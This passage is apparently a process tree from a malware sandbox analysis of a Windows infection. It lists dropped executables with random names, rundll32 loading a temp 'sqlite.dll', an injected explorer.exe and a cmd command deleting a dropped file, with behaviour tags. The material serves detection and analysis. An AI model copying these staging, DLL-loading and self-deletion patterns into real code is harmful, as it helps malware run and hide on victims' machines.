C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"C:\Users\Admin\Pictures\Adobe Films\ezTJRYlWwmMisCV8ra3scTsA.exe"3⤵PID:3056
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WBIESrF4TAjrxQGOcWFlKq4s.exe"C:\Users\Admin\Pictures\Adobe Films\WBIESrF4TAjrxQGOcWFlKq4s.exe"2⤵PID:4352
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exe1⤵PID:3744
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exe1⤵PID:704
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1647cedf7bf133.exeTue1647cedf7bf133.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2272
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4752 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4772
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:5096
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"1⤵PID:5200
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\mWh1dMQ3Z6Mwaqh4IgGDyapX.exe"2⤵PID:5756
-
-
C:\Users\Admin\AppData\Local\Temp\F515.exeC:\Users\Admin\AppData\Local\Temp\F515.exe1⤵PID:7388
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵PID:4984
-